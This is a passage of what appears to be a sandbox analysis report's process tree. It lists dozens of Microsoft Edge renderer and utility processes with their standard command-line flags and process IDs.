    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --always-read-main-dll --metrics-shmem-handle=9016,i,3476111625640781982,14245450579322124603,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12472 /prefetch:1
    3⤵
    PID:1836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --always-read-main-dll --metrics-shmem-handle=11224,i,13678905573016920486,16863505171068618699,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12372 /prefetch:1
    3⤵
    PID:6540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --always-read-main-dll --metrics-shmem-handle=4532,i,8774152465501695451,3494770942460573783,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12360 /prefetch:1
    3⤵
    PID:1324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --always-read-main-dll --metrics-shmem-handle=6196,i,13960132385207848462,15897714343523599130,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12248 /prefetch:1
    3⤵
    PID:6552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --always-read-main-dll --metrics-shmem-handle=11084,i,12172889259573202759,3396903381517347505,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12220 /prefetch:1
    3⤵
    PID:3352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --always-read-main-dll --metrics-shmem-handle=8380,i,1649049485012963385,18267861927574564048,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12316 /prefetch:1
    3⤵
    PID:6804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --always-read-main-dll --metrics-shmem-handle=4684,i,7516583213009686869,17883658254252262589,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12412 /prefetch:1
    3⤵
    PID:6576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --always-read-main-dll --metrics-shmem-handle=2164,i,8035371653746518126,14343305926329505613,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12452 /prefetch:1
    3⤵
    PID:3520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --always-read-main-dll --metrics-shmem-handle=7668,i,10262562816441727888,1631452109440175173,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12276 /prefetch:1
    3⤵
    PID:6608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --always-read-main-dll --metrics-shmem-handle=6204,i,12791670021704957373,7229540166447297281,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12344 /prefetch:1
    3⤵
    PID:3280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --always-read-main-dll --metrics-shmem-handle=11276,i,12480252581354727528,11563626094004389130,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12512 /prefetch:1
    3⤵
    PID:3196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --always-read-main-dll --metrics-shmem-handle=10968,i,6866845511904353793,4377793055257968335,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12392 /prefetch:1
    3⤵
    PID:2984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --always-read-main-dll --metrics-shmem-handle=11256,i,3611306356751857951,1536625177775140033,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12432 /prefetch:1
    3⤵
    PID:4736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --always-read-main-dll --metrics-shmem-handle=9028,i,16086677767028114230,3443462268857164520,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12492 /prefetch:1
    3⤵
    PID:2552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --always-read-main-dll --metrics-shmem-handle=11320,i,12522436119159854408,3268954078118325410,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12532 /prefetch:1
    3⤵
    PID:3876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --always-read-main-dll --metrics-shmem-handle=11104,i,6816183137098739086,15622211438855544212,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11852 /prefetch:1
    3⤵
    PID:6372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --always-read-main-dll --metrics-shmem-handle=11100,i,6579959510843881719,855195193724876222,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12128 /prefetch:1
    3⤵
    PID:1260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --always-read-main-dll --metrics-shmem-handle=9528,i,7863405415669286723,18012104820197223129,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=9548 /prefetch:1
    3⤵
    PID:7660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --always-read-main-dll --metrics-shmem-handle=9460,i,7953307725068826194,13694618336950989305,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=18984 /prefetch:1
    3⤵
    PID:7776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --always-read-main-dll --metrics-shmem-handle=11492,i,8822930516785406071,7023183280456934920,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=10452 /prefetch:1
    3⤵
    PID:7876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --always-read-main-dll --metrics-shmem-handle=19264,i,7425226617825451491,12114618113925759924,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=19276 /prefetch:1
    3⤵
    PID:8056
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=12812,i,13727913399784389498,1179072717519271867,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:14
    3⤵
    PID:8652
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=12812,i,13727913399784389498,1179072717519271867,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:14
    3⤵
    PID:9184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=12792,i,13552072010951771708,10466862445370160362,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=13204 /prefetch:14
    3⤵
    PID:8616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=106 --always-read-main-dll --metrics-shmem-handle=9040,i,9613760947592702943,17759597306682017349,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12320 /prefetch:1
    3⤵
    PID:7136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --always-read-main-dll --metrics-shmem-handle=18444,i,6506732714969061895,2724095913211338388,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12004 /prefetch:1
    3⤵
    PID:8720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=108 --always-read-main-dll --metrics-shmem-handle=11120,i,15468593617581869583,9479665045435770803,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12268 /prefetch:1
    3⤵
    PID:2324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=111 --always-read-main-dll --metrics-shmem-handle=19452,i,1529885174116628901,9189157633211234072,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=19028 /prefetch:1
    3⤵
    PID:3564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=112 --always-read-main-dll --metrics-shmem-handle=19100,i,12970660620783137178,17753127934651566299,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=19004 /prefetch:1
    3⤵
    PID:1544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=109 --always-read-main-dll --metrics-shmem-handle=15032,i,15396710209172238697,17334921824216936728,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15788 /prefetch:1
    3⤵
    PID:6596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=110 --always-read-main-dll --metrics-shmem-handle=18228,i,14033366897914012275,5544507954720336867,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15724 /prefetch:1
    3⤵
    PID:3884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=113 --always-read-main-dll --metrics-shmem-handle=10536,i,4021934672622256015,13325573476211729728,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=19076 /prefetch:1
    3⤵
    PID:1288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=114 --always-read-main-dll --metrics-shmem-handle=3468,i,4506896965679175861,2526676507624691231,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=19056 /prefetch:1
    3⤵
    PID:2600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=115 --always-read-main-dll --metrics-shmem-handle=6924,i,8945875783792821326,9229139545377980718,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12520 /prefetch:1
    3⤵
    PID:7936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=116 --always-read-main-dll --metrics-shmem-handle=6880,i,16682441955820646467,3725581182320227026,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12556 /prefetch:1
    3⤵
    PID:7496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=117 --always-read-main-dll --metrics-shmem-handle=6868,i,16676796733732994197,12298631682278467109,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=17796 /prefetch:1
    3⤵
    PID:6740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --always-read-main-dll --metrics-shmem-handle=19884,i,11104846678316176416,5612677278881306109,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14056 /prefetch:1
    3⤵
    PID:3380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=120 --always-read-main-dll --metrics-shmem-handle=4680,i,5287808686587370249,17037679560501078865,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=17852 /prefetch:1
    3⤵
    PID:2188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=121 --always-read-main-dll --metrics-shmem-handle=19808,i,16027412572613744019,1692501598305192427,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=17744 /prefetch:1
    3⤵
    PID:7976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=122 --always-read-main-dll --metrics-shmem-handle=4060,i,13138400260620038274,15121568445652782724,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=17828 /prefetch:1
    3⤵
    PID:7156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=123 --always-read-main-dll --metrics-shmem-handle=20764,i,12475773521921819521,9928103608013726946,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:1
    3⤵
    PID:9028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=124 --always-read-main-dll --metrics-shmem-handle=20796,i,16950209014210630569,2024192355292533979,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=17836 /prefetch:1
    3⤵
    PID:3332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=125 --always-read-main-dll --metrics-shmem-handle=20816,i,879199736555507436,4047970657238029666,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11816 /prefetch:1
    3⤵
    PID:7748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=126 --always-read-main-dll --metrics-shmem-handle=20844,i,18177194947255138006,14782819300568113406,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15676 /prefetch:1
    3⤵
    PID:7980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=133 --always-read-main-dll --metrics-shmem-handle=16464,i,13451165371973550533,2341255512684322850,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11700 /prefetch:1
    3⤵
    PID:1204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=134 --always-read-main-dll --metrics-shmem-handle=21768,i,7188625448035813788,8307364944336331460,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12740 /prefetch:1
    3⤵
    PID:7740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=135 --always-read-main-dll --metrics-shmem-handle=21816,i,7538963959480010488,12461293754057811901,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12756 /prefetch:1
    3⤵
    PID:720
